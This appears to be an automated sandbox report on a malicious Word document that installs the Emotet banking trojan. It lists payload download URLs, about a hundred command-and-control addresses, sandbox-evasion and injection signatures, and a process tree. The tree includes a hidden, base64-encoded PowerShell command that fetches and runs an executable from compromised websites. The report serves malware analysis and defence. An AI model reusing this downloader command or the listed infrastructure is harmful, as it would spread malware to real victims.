Analysis
-
max time kernel
148s -
resource
win10v191014 -
submitted
12-12-2019 13:03
Task
task1
Sample
Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.70.doc
Resource
win7v191014
General
Malware Config
Extracted
http://acqua.solarcytec.com/rtsbgs/XiWmtYYur/
https://blog.learncy.net/wp-admin/user/oxZqQp/
http://hospitalsanrafael.ainimedina.com/wp-includes/vwf-i8ge-4445917/
https://sg771.kwikfunnels.com/phpmyadmin_bck/x9tfn-lv1h4-174129596/
http://www.siyinjichangjia.com/wp-content/WYszsP/
Extracted
emotet
190.146.14.143:443
85.235.219.74:80
78.187.204.70:80
46.105.128.215:8080
69.30.205.162:7080
192.161.190.171:8080
163.172.97.112:8080
86.98.157.3:80
113.52.135.33:7080
175.127.140.68:80
212.129.14.27:8080
200.41.121.69:443
143.95.101.72:8080
190.161.67.63:80
50.116.78.109:8080
37.46.129.215:8080
119.57.36.54:8080
212.112.113.235:80
46.105.131.68:8080
1.32.54.12:8080
139.59.12.63:8080
190.5.162.204:80
83.99.211.160:80
67.254.196.78:443
187.250.92.82:80
83.110.107.243:443
124.150.175.129:8080
123.142.37.165:80
24.28.178.71:80
190.189.79.73:80
182.176.116.139:995
86.70.224.211:80
190.171.135.235:80
115.179.91.58:80
41.218.118.66:80
85.109.190.235:443
178.134.1.238:80
95.216.207.86:7080
142.93.87.198:8080
81.82.247.216:80
95.216.212.157:8080
86.6.123.109:80
165.100.148.200:443
24.27.122.202:80
176.58.93.123:80
193.33.38.208:443
67.171.182.231:80
190.101.87.170:80
185.244.167.25:443
46.17.6.116:8080
82.79.244.92:80
181.44.166.242:80
77.245.12.212:80
158.69.167.246:8080
191.100.24.201:50000
189.225.211.171:443
181.47.235.26:993
174.57.150.13:8080
200.71.112.158:53
41.77.74.214:443
78.46.87.133:8080
192.241.220.183:8080
172.104.70.207:8080
42.51.192.231:8080
124.150.175.133:80
201.196.15.79:990
23.253.207.142:8080
221.154.59.110:80
210.224.65.117:80
60.53.3.153:8080
195.250.143.182:80
51.38.134.203:8080
89.215.225.15:80
138.197.140.163:8080
201.183.251.100:80
128.92.54.20:80
5.189.148.98:8080
110.142.161.90:80
175.103.239.50:80
195.191.107.67:80
189.61.200.9:443
192.210.217.94:8080
98.15.140.226:80
58.93.151.148:80
100.38.11.243:80
103.122.75.218:80
91.117.31.181:80
198.57.217.170:8080
122.11.164.183:80
37.59.24.25:8080
210.111.160.220:80
162.144.46.90:8080
83.156.88.159:80
78.186.102.195:80
211.218.105.101:80
187.233.220.93:443
172.90.70.168:443
72.69.99.47:80
177.103.201.23:80
72.27.212.209:8080
119.159.150.176:443
216.75.37.196:8080
188.230.134.205:80
153.190.41.185:80
45.129.121.222:443
Signatures
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Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS -
Drops file in System32 directory 6 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5 zapmailbox.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IE zapmailbox.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies zapmailbox.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\History\History.IE5 zapmailbox.exe File renamed C:\Users\Admin\177.exe => C:\Windows\SysWOW64\zapmailbox.exe 177.exe File opened for modification C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\counters2.dat zapmailbox.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\ESE.TXT svchost.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3640 Powershell.exe 5008 zapmailbox.exe -
Suspicious behavior: EmotetMutantsSpam 2 IoCs
pid Process 3732 177.exe 5008 zapmailbox.exe -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 4940 WINWORD.EXE -
Executes dropped EXE 4 IoCs
pid Process 4592 177.exe 3732 177.exe 4812 zapmailbox.exe 5008 zapmailbox.exe -
Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3640 Powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 4664 wrote to memory of 4680 4664 SppExtComObj.exe 78 PID 3640 wrote to memory of 4592 3640 Powershell.exe 77 PID 4592 wrote to memory of 3732 4592 177.exe 80 PID 4812 wrote to memory of 5008 4812 zapmailbox.exe 89 -
description ioc Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "0" Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Security Center\cval = "1" -
Checks system information in the registry 2 TTPs 2 IoCs
System information is often read in order to detect sandboxing environments.
description ioc Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName -
Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 4940 WINWORD.EXE 4592 177.exe 3732 177.exe 4812 zapmailbox.exe 5008 zapmailbox.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4940 WINWORD.EXE
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_cc7d6d8e28fce962e81a6ba5c82f29bb.70.doc" /o ""1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of FindShellTrayWindow
PID:4940
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C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABZAGwAcABnAGQAegBtAGIAPQAnAFUAcwBzAGIAYgBtAHoAaAB1AGgAeABrAGUAJwA7ACQATABnAGUAZABrAGsAZABxAHcAIAA9ACAAJwAxADcANwAnADsAJABJAHoAegBxAHoAaABxAHoAdAB5AHoAPQAnAEEAaQBkAHcAagBxAG4AbABjAGoAeABlAGoAJwA7ACQARABiAGIAcwBrAHAAdwBhAHoAdgBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABMAGcAZQBkAGsAawBkAHEAdwArACcALgBlAHgAZQAnADsAJABFAG4AaABsAGsAcABxAG0APQAnAFkAbQBjAHQAaABjAG4AagBrAHUAeQAnADsAJABCAHkAdwB3AG0AegB5AHAAbgBlAD0AJgAoACcAbgBlAHcAJwArACcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAVAAuAFcARQBCAEMATABJAEUAbgBUADsAJABGAGkAdgBsAHcAbAB6AG8AeQB1AHUAdABsAD0AJwBoAHQAdABwADoALwAvAGEAYwBxAHUAYQAuAHMAbwBsAGEAcgBjAHkAdABlAGMALgBjAG8AbQAvAHIAdABzAGIAZwBzAC8AWABpAFcAbQB0AFkAWQB1AHIALwAqAGgAdAB0AHAAcwA6AC8ALwBiAGwAbwBnAC4AbABlAGEAcgBuAGMAeQAuAG4AZQB0AC8AdwBwAC0AYQBkAG0AaQBuAC8AdQBzAGUAcgAvAG8AeABaAHEAUQBwAC8AKgBoAHQAdABwADoALwAvAGgAbwBzAHAAaQB0AGEAbABzAGEAbgByAGEAZgBhAGUAbAAuAGEAaQBuAGkAbQBlAGQAaQBuAGEALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAHYAdwBmAC0AaQA4AGcAZQAtADQANAA0ADUAOQAxADcALwAqAGgAdAB0AHAAcwA6AC8ALwBzAGcANwA3ADEALgBrAHcAaQBrAGYAdQBuAG4AZQBsAHMALgBjAG8AbQAvAHAAaABwAG0AeQBhAGQAbQBpAG4AXwBiAGMAawAvAHgAOQB0AGYAbgAtAGwAdgAxAGgANAAtADEANwA0ADEAMgA5ADUAOQA2AC8AKgBoAHQAdABwADoALwAvAHcAdwB3AC4AcwBpAHkAaQBuAGoAaQBjAGgAYQBuAGcAagBpAGEALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBXAFkAcwB6AHMAUAAvACcALgAiAFMAYABQAGwASQB0ACIAKAAnACoAJwApADsAJABVAG4AaABjAGcAcQBiAG0AcABmAG0APQAnAFIAbgBmAGgAagB3AGIAaABsACcAOwBmAG8AcgBlAGEAYwBoACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAgAGkAbgAgACQARgBpAHYAbAB3AGwAegBvAHkAdQB1AHQAbAApAHsAdAByAHkAewAkAEIAeQB3AHcAbQB6AHkAcABuAGUALgAiAEQAbwB3AE4AbABvAGAAQQBkAGYAYABJAEwAZQAiACgAJABIAHQAYwBjAG0AbABwAGMAcwBsAGsAagAsACAAJABEAGIAYgBzAGsAcAB3AGEAegB2AGYAKQA7ACQAUwB1AGcAawB1AHoAaQBmAGwAeQA9ACcAQwBuAGoAdgBhAGMAaQBnAHEAeQBhAGwAegAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0AGUAJwArACcAbQAnACkAIAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApAC4AIgBMAGAARQBOAGcAYABUAGgAIgAgAC0AZwBlACAAMgAyADkAMAA1ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAdABhAGAAUgB0ACIAKAAkAEQAYgBiAHMAawBwAHcAYQB6AHYAZgApADsAJABDAHIAZwBpAGsAdwBqAGwAawBxAD0AJwBYAGgAagBoAGUAcQBkAHQAegBhAGEAJwA7AGIAcgBlAGEAawA7ACQAVwB2AHQAdQB2AGwAcgB3AD0AJwBUAHMAZQBuAGYAZQB5AGwAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBqAGoAcAB0AGcAaQBhAGsAawA9ACcAQgBmAG4AYgBwAHIAcABmAGEAdQBhACcA1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3640 -
C:\Users\Admin\177.exe"C:\Users\Admin\177.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:4592 -
C:\Users\Admin\177.exe--653e7fcf3⤵
- Drops file in System32 directory
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3732
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C:\Windows\system32\SppExtComObj.exeC:\Windows\system32\SppExtComObj.exe -Embedding1⤵
- Suspicious use of WriteProcessMemory
PID:4664 -
C:\Windows\System32\SLUI.exe"C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent2⤵PID:4680
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s BITS1⤵
- Drops file in Windows directory
PID:4032
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localserviceandnoimpersonation -s SSDPSRV1⤵PID:3900
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s DoSvc1⤵PID:2604
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k unistacksvcgroup1⤵PID:2444
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C:\Windows\SysWOW64\zapmailbox.exe"C:\Windows\SysWOW64\zapmailbox.exe"1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Suspicious use of SetWindowsHookEx
PID:4812 -
C:\Windows\SysWOW64\zapmailbox.exe--42eebcfd2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: EmotetMutantsSpam
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:5008
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\??\c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k localservicenetworkrestricted -s wscsvc1⤵PID:3128